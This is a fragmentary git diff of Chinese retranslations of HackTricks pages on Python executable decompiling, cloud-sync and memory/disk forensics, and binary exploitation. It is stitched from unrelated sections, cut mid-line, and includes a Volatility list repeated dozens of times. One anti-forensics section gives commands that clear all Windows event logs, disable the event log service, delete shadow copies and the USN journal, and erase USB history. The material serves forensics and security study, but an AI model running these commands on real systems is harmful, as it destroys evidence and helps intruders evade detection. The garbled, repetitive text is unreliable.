+**其他错误**如：`class 'AssertionError'>; co_code 应该是以下类型之一 (, , , ); 是类型 ` 可能会出现。
-这可能意味着您**没有正确添加**魔术数字，或者您**没有使用****正确的魔术数字**，因此请确保您使用正确的魔术数字（或尝试一个新的）。
+这可能意味着您**没有正确添加**魔数，或者您没有**使用**正确的魔数，因此请**确保使用正确的魔数**（或尝试一个新的）。
-请查看先前的错误文档。
+请检查之前的错误文档。
## 自动工具
-[**python-exe-unpacker 工具**](https://github.com/countercept/python-exe-unpacker) 作为几个社区可用工具的组合，旨在帮助研究人员解压和反编译使用py2exe和pyinstaller创建的Python可执行文件。它包括YARA规则，用于识别可执行文件是否基于Python，并确认创建工具。
+[**python-exe-unpacker 工具**](https://github.com/countercept/python-exe-unpacker) 是多个社区可用工具的组合，旨在帮助研究人员解包和反编译用 Python 编写的可执行文件，特别是那些使用 py2exe 和 pyinstaller 创建的文件。它包括 YARA 规则，以识别可执行文件是否基于 Python，并确认创建工具。
-### ImportError：文件名：'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' 不存在
+### ImportError: 文件名：'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' 不存在
-一个常见问题涉及到一个不完整的Python字节码文件，这是由于使用unpy2exe或pyinstxtractor进行解包过程而导致的，然后由于缺少Python字节码版本号而**无法被uncompyle6识别**。为了解决这个问题，添加了一个prepend选项，它附加了必要的Python字节码版本号，从而促进了反编译过程。
+一个常见问题是由于 **使用 unpy2exe 或 pyinstxtractor 解包过程**导致的不完整 Python 字节码文件，这会导致 **uncompyle6 无法识别，因为缺少 Python 字节码版本号**。为了解决这个问题，添加了一个前置选项，该选项附加必要的 Python 字节码版本号，从而促进反编译过程。
问题示例：
```python
@@ -114,9 +115,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
# Successfully decompiled file
[+] Successfully decompiled.
```
-## 分析Python汇编
+## Analyzing python assembly
-如果您无法按照先前的步骤提取Python的“原始”代码，那么您可以尝试提取汇编代码（但它并不是非常描述性的，所以请尝试再次提取原始代码）。在[这里](https://bits.theorem.co/protecting-a-python-codebase/)我找到了一个非常简单的代码来反汇编_.pyc_二进制文件（祝您好运理解代码流程）。如果_.pyc_是来自Python2，请使用Python2：
+如果您无法按照之前的步骤提取 python "原始" 代码，那么您可以尝试 **提取** **汇编**（但 **它不是很描述性**，所以 **尝试** 再次提取 **原始代码**）。在 [这里](https://bits.theorem.co/protecting-a-python-codebase/) 我找到了一段非常简单的代码来 **反汇编** _.pyc_ 二进制文件（祝您理解代码流程好运）。如果 _.pyc_ 是来自 python2，请使用 python2：
```bash
>>> import dis
>>> import marshal
@@ -159,15 +160,15 @@ True
14 LOAD_CONST 0 (None)
17 RETURN_VALUE
```
-## Python转可执行文件
+## Python 转换为可执行文件
-首先，我们将向您展示如何在py2exe和PyInstaller中编译有效载荷。
+首先，我们将向您展示如何在 py2exe 和 PyInstaller 中编译有效载荷。
-### 使用py2exe创建有效载荷：
+### 使用 py2exe 创建有效载荷：
-1. 从[http://www.py2exe.org/](http://www.py2exe.org)安装py2exe软件包。
-2. 对于有效载荷（在本例中，我们将其命名为hello.py），使用类似于图1中的脚本。选项“bundle\_files”值为1将把所有内容，包括Python解释器，捆绑到一个exe文件中。
-3. 一旦脚本准备就绪，我们将发出命令“python setup.py py2exe”。这将创建可执行文件，就像图2中所示。
+1. 从 [http://www.py2exe.org/](http://www.py2exe.org) 安装 py2exe 包
+2. 对于有效载荷（在本例中，我们将其命名为 hello.py），使用如图 1 所示的脚本。选项 “bundle\_files” 的值为 1，将把所有内容（包括 Python 解释器）打包成一个 exe 文件。
+3. 一旦脚本准备好，我们将发出命令 “python setup.py py2exe”。这将创建可执行文件，就像图 2 中所示。
```python
from distutils.core import setup
import py2exe, sys, os
@@ -195,10 +196,10 @@ running py2exe
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
```
-### 使用PyInstaller创建payload：
+### 使用 PyInstaller 创建有效载荷：
-1. 使用pip安装PyInstaller（pip install pyinstaller）。
-2. 然后，我们将发出命令“pyinstaller –onefile hello.py”（提醒一下，‘hello.py’是我们的payload）。这将把所有内容捆绑到一个可执行文件中。
+1. 使用 pip 安装 PyInstaller（pip install pyinstaller）。
+2. 然后，我们将发出命令“pyinstaller –onefile hello.py”（提醒一下，‘hello.py’ 是我们的有效载荷）。这将把所有内容打包成一个可执行文件。
```
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
108 INFO: PyInstaller: 3.3.1
@@ -211,26 +212,27 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe
6325 INFO: Building EXE from out00-EXE.toc completed successfully.
```
-## 参考资料
+## 参考文献
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
 (1) (1) (1) (1) (1) (1).png)
\AppData\Local\Microsoft\OneDrive`找到OneDrive文件夹。在`logs\Personal`文件夹中，可以找到名为`SyncDiagnostics.log`的文件，其中包含有关同步文件的一些有趣数据：
+在 Windows 中，您可以在 `\Users\\AppData\Local\Microsoft\OneDrive` 找到 OneDrive 文件夹。在 `logs\Personal` 中，可以找到名为 `SyncDiagnostics.log` 的文件，其中包含有关同步文件的一些有趣数据：
* 字节大小
* 创建日期
* 修改日期
-* 云端文件数量
+* 云中的文件数量
* 文件夹中的文件数量
-* **CID**：OneDrive用户的唯一ID
+* **CID**：OneDrive 用户的唯一 ID
* 报告生成时间
* 操作系统的硬盘大小
-一旦找到CID，建议**搜索包含此ID的文件**。您可能会找到文件名为：_**\.ini**_ 和 _**\.dat**_，其中可能包含与OneDrive同步的文件的名称等有趣信息。
+一旦找到 CID，建议 **搜索包含此 ID 的文件**。您可能会找到名为：_**\.ini**_ 和 _**\.dat**_ 的文件，这些文件可能包含与 OneDrive 同步的文件名等有趣信息。
## Google Drive
-在Windows中，您可以在`\Users\\AppData\Local\Google\Drive\user_default`找到主Google Drive文件夹\
-此文件夹包含一个名为Sync\_log.log的文件，其中包含帐户的电子邮件地址、文件名、时间戳、文件的MD5哈希等信息。即使已删除的文件也会在该日志文件中显示其相应的MD5。
+在 Windows 中，您可以在 `\Users\\AppData\Local\Google\Drive\user_default` 找到主要的 Google Drive 文件夹\
+此文件夹包含一个名为 Sync\_log.log 的文件，里面有账户的电子邮件地址、文件名、时间戳、文件的 MD5 哈希等信息。即使是已删除的文件也会出现在该日志文件中，并带有相应的 MD5。
-文件**`Cloud_graph\Cloud_graph.db`**是一个包含表**`cloud_graph_entry`**的sqlite数据库。在此表中，您可以找到**同步的文件**的**名称**、修改时间、大小和文件的MD5校验和。
+文件 **`Cloud_graph\Cloud_graph.db`** 是一个 sqlite 数据库，包含表 **`cloud_graph_entry`**。在此表中，您可以找到 **同步** **文件** 的 **名称**、修改时间、大小和文件的 MD5 校验和。
-数据库**`Sync_config.db`**的表数据包含帐户的电子邮件地址、共享文件夹的路径和Google Drive版本。
+数据库 **`Sync_config.db`** 的表数据包含账户的电子邮件地址、共享文件夹的路径和 Google Drive 版本。
## Dropbox
-Dropbox使用**SQLite数据库**来管理文件。在这\
+Dropbox 使用 **SQLite 数据库** 来管理文件。在此\
您可以在以下文件夹中找到数据库：
* `\Users\\AppData\Local\Dropbox`
@@ -62,75 +63,76 @@ Dropbox使用**SQLite数据库**来管理文件。在这\
* Deleted.dbx
* Config.dbx
-".dbx"扩展名表示**数据库是加密的**。Dropbox使用**DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
+“.dbx” 扩展名表示 **数据库** 是 **加密的**。Dropbox 使用 **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
-要更好地理解Dropbox使用的加密，您可以阅读[https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)。
+要更好地理解 Dropbox 使用的加密，您可以阅读 [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)。
-然而，主要信息包括：
+然而，主要信息是：
* **熵**：d114a55212655f74bd772e37e64aee9b
* **盐**：0D638C092E8B82FC452883F95F355B8E
* **算法**：PBKDF2
* **迭代次数**：1066
-除了这些信息，要解密数据库，您还需要：
+除此之外，要解密数据库，您还需要：
-* **加密的DPAPI密钥**：您可以在注册表中找到，位于`NTUSER.DAT\Software\Dropbox\ks\client`内（将此数据导出为二进制）
-* **`SYSTEM`** 和 **`SECURITY`** 蜂巢
-* **DPAPI主密钥**：可以在`\Users\\AppData\Roaming\Microsoft\Protect`中找到
-* Windows用户的**用户名**和**密码**
+* **加密的 DPAPI 密钥**：您可以在注册表中找到它，路径为 `NTUSER.DAT\Software\Dropbox\ks\client`（将此数据导出为二进制）
+* **`SYSTEM`** 和 **`SECURITY`** 注册表项
+* **DPAPI 主密钥**：可以在 `\Users\\AppData\Roaming\Microsoft\Protect` 找到
+* Windows 用户的 **用户名** 和 **密码**
-然后，您可以使用工具[**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**：**
+然后您可以使用工具 [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
.png>)
-如果一切顺利，该工具将指示您需要使用的**主密钥**以恢复原始密钥。要恢复原始密钥，只需在此[cyber\_chef收据](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)中将主密钥作为“密码”放入收据中。
+如果一切顺利，该工具将指示您需要 **使用以恢复原始密钥**。要恢复原始密钥，只需使用此 [cyber\_chef 配方](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\))，将主密钥作为配方中的“密码短语”。
-生成的十六进制是用于加密数据库的最终密钥，可以使用以下方式解密：
+生成的十六进制是用于加密数据库的最终密钥，可以用来解密：
```bash
sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
```
-**`config.dbx`** 数据库包含：
+The **`config.dbx`** 数据库包含：
-- **Email**：用户的电子邮件
-- **usernamedisplayname**：用户的名称
-- **dropbox\_path**：Dropbox 文件夹的路径
-- **Host\_id**：用于在云端进行身份验证的哈希。只能通过网络撤销此哈希。
-- **Root\_ns**：用户标识符
+* **Email**: 用户的电子邮件
+* **usernamedisplayname**: 用户的名称
+* **dropbox\_path**: Dropbox 文件夹所在的路径
+* **Host\_id: Hash** 用于认证到云端。此项只能从网页上撤销。
+* **Root\_ns**: 用户标识符
-**`filecache.db`** 数据库包含与 Dropbox 同步的所有文件和文件夹的信息。表 `File_journal` 包含最有用的信息：
+The **`filecache.db`** 数据库包含与 Dropbox 同步的所有文件和文件夹的信息。表 `File_journal` 是包含更多有用信息的表：
-- **Server\_path**：文件在服务器内的路径（此路径前面带有客户端的 `host_id`）。
-- **local\_sjid**：文件的版本
-- **local\_mtime**：修改日期
-- **local\_ctime**：创建日期
+* **Server\_path**: 文件在服务器内部的路径（此路径前面有客户端的 `host_id`）。
+* **local\_sjid**: 文件的版本
+* **local\_mtime**: 修改日期
+* **local\_ctime**: 创建日期
此数据库中的其他表包含更多有趣的信息：
-- **block\_cache**：Dropbox 所有文件和文件夹的哈希
-- **block\_ref**：将表 `block_cache` 中的哈希 ID 与表 `file_journal` 中的文件 ID 相关联
-- **mount\_table**：共享 Dropbox 文件夹
-- **deleted\_fields**：已删除的 Dropbox 文件
-- **date\_added**
+* **block\_cache**: Dropbox 所有文件和文件夹的哈希
+* **block\_ref**: 将表 `block_cache` 的哈希 ID 与表 `file_journal` 中的文件 ID 关联
+* **mount\_table**: Dropbox 的共享文件夹
+* **deleted\_fields**: Dropbox 删除的文件
+* **date\_added**
- (1) (1) (1) (1) (1) (1) (1).png)
`的注册表子树。
+1. 设置两个注册表项，`HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` 和 `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`，都设置为零，以表示我们希望禁用 UserAssist。
+2. 清除看起来像 `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\` 的注册表子树。
### 禁用时间戳 - Prefetch
-这将保存有关执行的应用程序的信息，目的是改善Windows系统的性能。但是，这也可以用于取证实践。
+这将保存有关执行的应用程序的信息，目的是提高 Windows 系统的性能。然而，这对于取证实践也可能有用。
-* 执行`regedit`
-* 选择文件路径`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
-* 右键单击`EnablePrefetcher`和`EnableSuperfetch`
-* 对每个都选择修改，将值从1（或3）更改为0
-* 重新启动
+* 执行 `regedit`
+* 选择文件路径 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
+* 右键单击 `EnablePrefetcher` 和 `EnableSuperfetch`
+* 选择修改，将每个值从 1（或 3）更改为 0
+* 重启
### 禁用时间戳 - 最后访问时间
-每当从Windows NT服务器上的NTFS卷中打开文件夹时，系统会花费时间**更新每个列出的文件夹上的时间戳字段**，称为最后访问时间。在使用频繁的NTFS卷上，这可能会影响性能。
+每当从 NTFS 卷打开文件夹时，系统会花时间 **更新每个列出文件夹的时间戳字段**，称为最后访问时间。在使用频繁的 NTFS 卷上，这可能会影响性能。
-1. 打开注册表编辑器（Regedit.exe）。
-2. 浏览到`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`。
-3. 查找`NtfsDisableLastAccessUpdate`。如果不存在，请添加此DWORD并将其值设置为1，这将禁用该过程。
-4. 关闭注册表编辑器，并重新启动服务器。
-### 删除 USB 历史记录
+1. 打开注册表编辑器 (Regedit.exe)。
+2. 浏览到 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`。
+3. 查找 `NtfsDisableLastAccessUpdate`。如果不存在，请添加此 DWORD 并将其值设置为 1，这将禁用该过程。
+4. 关闭注册表编辑器，并重启服务器。
-所有的 **USB 设备条目** 都存储在 Windows 注册表中的 **USBSTOR** 注册表键下，其中包含子键，每当您将 USB 设备插入 PC 或笔记本电脑时就会创建。您可以在此处找到此键 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`。**删除此** 将删除 USB 历史记录。\
-您也可以使用工具 [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) 来确保已删除它们（并删除它们）。
+### 删除 USB 历史
-另一个保存有关 USB 的信息的文件是位于 `C:\Windows\INF` 内的文件 `setupapi.dev.log`。这也应该被删除。
+所有 **USB 设备条目** 都存储在 Windows 注册表的 **USBSTOR** 注册表项下，该项包含在您将 USB 设备插入 PC 或笔记本电脑时创建的子项。您可以在这里找到此项 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`。**删除此项**，您将删除 USB 历史。\
+您还可以使用工具 [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) 确保您已删除它们（并删除它们）。
-### 禁用阴影副本
+另一个保存有关 USB 的信息的文件是 `C:\Windows\INF` 中的 `setupapi.dev.log`。这也应该被删除。
-使用 `vssadmin list shadowstorage` **列出**阴影副本\
-运行 `vssadmin delete shadow` **删除**它们
+### 禁用影子副本
+
+**列出** 影子副本 `vssadmin list shadowstorage`\
+**删除** 它们运行 `vssadmin delete shadow`
您还可以通过 GUI 删除它们，按照 [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) 中提出的步骤进行操作。
-要禁用阴影副本，请按照此处的[步骤](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows)：
+要禁用影子副本 [请参阅此处的步骤](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows)：
-1. 通过在点击 Windows 启动按钮后的文本搜索框中键入 "services" 来打开服务程序。
-2. 从列表中找到 "Volume Shadow Copy"，选择它，然后通过右键单击访问属性。
-3. 从 "启动类型" 下拉菜单中选择禁用，然后通过单击应用和确定来确认更改。
+1. 通过在单击 Windows 开始按钮后在文本搜索框中输入“services”打开服务程序。
+2. 从列表中找到“卷影复制”，选择它，然后通过右键单击访问属性。
+3. 从“启动类型”下拉菜单中选择禁用，然后通过单击应用和确定确认更改。
-还可以在注册表 `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` 中修改要复制到阴影副本中的文件的配置。
+还可以在注册表 `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` 中修改将要在影子副本中复制的文件的配置。
-### 覆盖已删除的文件
+### 覆盖已删除文件
-* 您可以使用一个 **Windows 工具**：`cipher /w:C` 这将指示 cipher 从 C 驱动器中的可用未使用磁盘空间中删除任何数据。
-* 您还可以使用类似 [**Eraser**](https://eraser.heidi.ie) 的工具
+* 您可以使用 **Windows 工具**：`cipher /w:C` 这将指示 cipher 从 C 盘的可用未使用磁盘空间中删除任何数据。
+* 您还可以使用像 [**Eraser**](https://eraser.heidi.ie) 这样的工具。
### 删除 Windows 事件日志
-* Windows + R --> eventvwr.msc --> 展开 "Windows 日志" --> 右键单击每个类别，然后选择 "清除日志"
+* Windows + R --> eventvwr.msc --> 展开“Windows 日志” --> 右键单击每个类别并选择“清除日志”
* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
### 禁用 Windows 事件日志
* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
-* 在服务部分内禁用服务 "Windows 事件日志"
+* 在服务部分禁用“Windows 事件日志”服务
* `WEvtUtil.exec clear-log` 或 `WEvtUtil.exe cl`
### 禁用 $UsnJrnl
* `fsutil usn deletejournal /d c:`
+
+{% hint style="success" %}
+学习和实践 AWS 黑客技术：[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+.png)
`复制到您的机器上，然后使用它们**编译** LiME：
+因此，如果您有一个相同版本的 Ubuntu，您可以使用 `apt-get install lime-forensics-dkms`\
+在其他情况下，您需要从 github 下载 [**LiME**](https://github.com/504ensicsLabs/LiME) 并使用正确的内核头文件进行编译。要 **获取受害者机器的确切内核头文件**，您可以直接 **复制目录** `/lib/modules/` 到您的机器，然后使用它们 **编译** LiME：
```bash
make -C /lib/modules//build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
```
-LiME支持3种**格式**：
+LiME 支持 3 **格式**：
-- 原始（每个段连接在一起）
-- 填充（与原始相同，但右位填充为零）
-- Lime（推荐的带有元数据的格式）
+* 原始（每个段落连接在一起）
+* 填充（与原始相同，但右侧位用零填充）
+* Lime（推荐格式，带有元数据）
-LiME还可以用于通过网络发送转储，而不是将其存储在系统上，使用类似于：`path=tcp:4444`
+LiME 还可以用于 **通过网络发送转储**，而不是使用类似 `path=tcp:4444` 的方式将其存储在系统上。
### 磁盘成像
#### 关机
-首先，您需要**关闭系统**。这并不总是一个选项，因为有时系统将是公司无法负担关闭的生产服务器。\
-有**2种方式**关闭系统，**正常关机**和**"拔插头"关机**。第一种方法将允许**进程像往常一样终止**，**文件系统**将被**同步**，但也会允许可能的**恶意软件**破坏证据。"拔插头"方法可能会带来**一些信息丢失**（不会丢失太多信息，因为我们已经对内存进行了镜像），**恶意软件**将没有任何机会对此做任何事情。因此，如果您**怀疑**可能存在**恶意软件**，只需在系统上执行**`sync`**命令然后拔掉电源插头。
+首先，您需要 **关闭系统**。这并不总是一个选项，因为有时系统可能是公司无法承受关闭的生产服务器。\
+有 **2 种方法** 可以关闭系统，**正常关机** 和 **“拔掉插头”关机**。第一种方法将允许 **进程正常终止**，并使 **文件系统** **同步**，但这也可能允许潜在的 **恶意软件** **破坏证据**。“拔掉插头”方法可能会导致 **一些信息丢失**（由于我们已经获取了内存的映像，丢失的信息不会很多），并且 **恶意软件将没有机会** 采取任何行动。因此，如果您 **怀疑** 可能存在 **恶意软件**，请在系统上执行 **`sync`** **命令** 然后拔掉插头。
-#### 对磁盘进行成像
+#### 获取磁盘映像
-重要的是要注意，在**将计算机连接到与案件相关的任何内容之前**，您需要确保它将以**只读**方式挂载，以避免修改任何信息。
+重要的是要注意，在 **将计算机连接到与案件相关的任何设备之前**，您需要确保它将以 **只读方式挂载**，以避免修改任何信息。
```bash
#Create a raw copy of the disk
dd if= of= bs=512
@@ -98,9 +99,9 @@ dd if= of= bs=512
dcfldd if= of= bs=512 hash= hashwindow= hashlog=
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
```
-### 磁盘镜像预分析
+### 磁盘映像预分析
-使用没有更多数据的磁盘镜像。
+对没有更多数据的磁盘映像进行成像。
```bash
#Find out if it's a disk image using "file" command
file disk.img
@@ -156,7 +157,7 @@ ThisisTheMasterSecret
imageinfo`
-* **Listing Processes**
- * `volatility -f --profile= pslist`
-* **Dumping a Process**
- * `volatility -f --profile= memdump -p -D `
-* **Listing Network Connections**
- * `volatility -f --profile= connections`
-* **Dumping a File**
- * `volvality -f --profile= dumpfiles -Q -D `
-
-**Advanced Commands**
-
-* **Detecting Hidden Processes**
- * `volatility -f --profile= psxview`
-* **Analyzing Registry**
- * `volatility -f --profile= hivelist`
- * `volatility -f --profile= printkey -o `
-* **Extracting DLLs**
- * `volatility -f --profile= dlllist -p `
-* **Analyzing Drivers** json
- * `volatility -f --profile= driverscan`
-* **Identifying Sockets**
- * `volatility -f --profile= sockscan`
-* **Analyzing Timelime**
- * `volatility -f --profile= timeliner`
-* **Analyzing Packed Binaries**
- * `volatility -f --profile= malfind`
-* **Analyzing Process Handles**
- * `volatility -f --profile= handle`
-* **Analyzing Process Memory**
- * `volatility -f --profile= memmap`
-* **Analyzing Process DLLs**
- * `volatility -f --profile= dlldump -p `
-* **Analyzing Process Threads**
- * `volatility -f --profile= threads -p `
-* **Analyzing Process Handles**
- * `volatility -f --profile= handles -p `
-* **Analyzing Process Pools**
- * `volatility -f --profile= poolscanner`
-* **Analyzing Process Vad**
- * `volatility -f --profile= vadinfo -p `
-* **Analyzing Process Handles**
- * `volatility -f --profile= handles -p `
-* **Analyzing Process Pools**
- * `volatility -f --profile= poolscanner`
-* **Analyzing Process Vad**
- * `volatility -f --profile= vadinfo -p `
-* **Analyzing Process Handles**
- * `volatility -f --profile= handles -p `
-* **Analyzing Process Pools**
- * `volatility -f --profile= poolscanner`
-* **Analyzing Process Vad**
- * `volatility -f --profile= vadinfo -p `
-* **Analyzing Process Handles**
- * `volatility -f --profile= handles -p `
-* **Analyzing Process Pools**
- * `volatility -f --profile= poolscanner`
-* **Analyzing Process Vad**
- * `volatility -f --profile= vadinfo -p `
-* **Analyzing Process Handles**
- * `volatility -f --profile= handles -p `
-* **Analyzing Process Pools**
- * `volatility -f --profile= poolscanner`
-* **Analyzing Process Vad**
- * `volatility -f --profile= vadinfo -p `
-* **Analyzing Process Handles**
- * `volatility -f --profile= handles -p `
-* **Analyzing Process Pools**
- * `volatility -f --profile= poolscanner`
-* **Analyzing Process Vad**
- * `volatility -f --profile= vadinfo -p `
-* **Analyzing Process Handles**
- * `volatility -f --profile= handles -p `
-* **Analyzing Process Pools**
- * `volatility -f --profile= poolscanner`
-* **Analyzing Process Vad**
- * `volatility -f --profile= vadinfo -p `
-* **Analyzing Process Handles**
- * `volatility -f --profile= handles -p `
-* **Analyzing Process Pools**
- * `volatility -f --profile= poolscanner`
-* **Analyzing Process Vad**
- * `volatility -f --profile= vadinfo -p `
-* **Analyzing Process Handles**
- * `volatility -f --profile= handles -p `
-* **Analyzing Process Pools**
- * `volatility -f --profile= poolscanner`
-* **Analyzing Process Vad**
- * `volatility -f --profile= vadinfo -p `
-* **Analyzing Process Handles**
- * `volatility -f --profile= handles -p `
-* **Analyzing Process Pools**
- * `volatility -f --profile= poolscanner`
-* **Analyzing Process Vad**
- * `volatility -f --profile= vadinfo -p `
-* **Analyzing Process Handles**
- * `volatility -f --profile= handles -p `
-* **Analyzing Process Pools**
- * `volatility -f --profile= poolscanner`
-* **Analyzing Process Vad**
- * `volatility -f --profile= vadinfo -p `
-* **Analyzing Process Handles**
- * `volatility -f --profile= handles -p `
-* **Analyzing Process Pools**
- * `volatility -f --profile= poolscanner`
-* **Analyzing Process Vad**
- * `volatility -f --profile= vadinfo -p `
-* **Analyzing Process Handles**
- * `volatility -f --profile= handles -p `
-* **Analyzing Process Pools**
- * `volatility -f --profile= poolscanner`
-* **Analyzing Process Vad**
- * `volatility -f --profile= vadinfo -p `
-* **Analyzing Process Handles**
- * `volatility -f --profile= handles -p `
-* **Analyzing Process Pools**
- * `volatility -f --profile= poolscanner`
-* **Analyzing Process Vad**
- * `volatility -f
Brute Force printf offset
+暴力破解 printf 偏移量
```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak @@ -141,35 +144,35 @@ p.close() 任意读取可以用于： -- **从内存中转储**二进制文件 -- **访问存储敏感信息的内存特定部分**（如canaries、加密密钥或自定义密码，就像在这个[CTF挑战](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)中） +* **从内存中转储** **二进制文件** +* **访问存储敏感** **信息**的内存特定部分（如金丝雀、加密密钥或自定义密码，如在这个 [**CTF 挑战**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) 中） ## **任意写入** -格式化程序 **`$[**HackTricks培训AWS红队专家（ARTE）**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践GCP黑客技术：[**HackTricks培训GCP红队专家（GRTE）**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+
+{% endhint %}
diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
index 3da9f9a1a..e62384090 100644
--- a/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
+++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
@@ -1,20 +1,21 @@
-# Ret2lib + Printf泄漏 - arm64
+# Ret2lib + Printf leak - arm64
+
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：支持HackTricks
+ +* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR分享黑客技巧。 + +[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
+{% endhint %}
-## Ret2lib - 通过ROP绕过NX（无ASLR）
+## Ret2lib - NX 绕过与 ROP (无 ASLR)
```c
#include 从零开始学习AWS黑客技术 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks 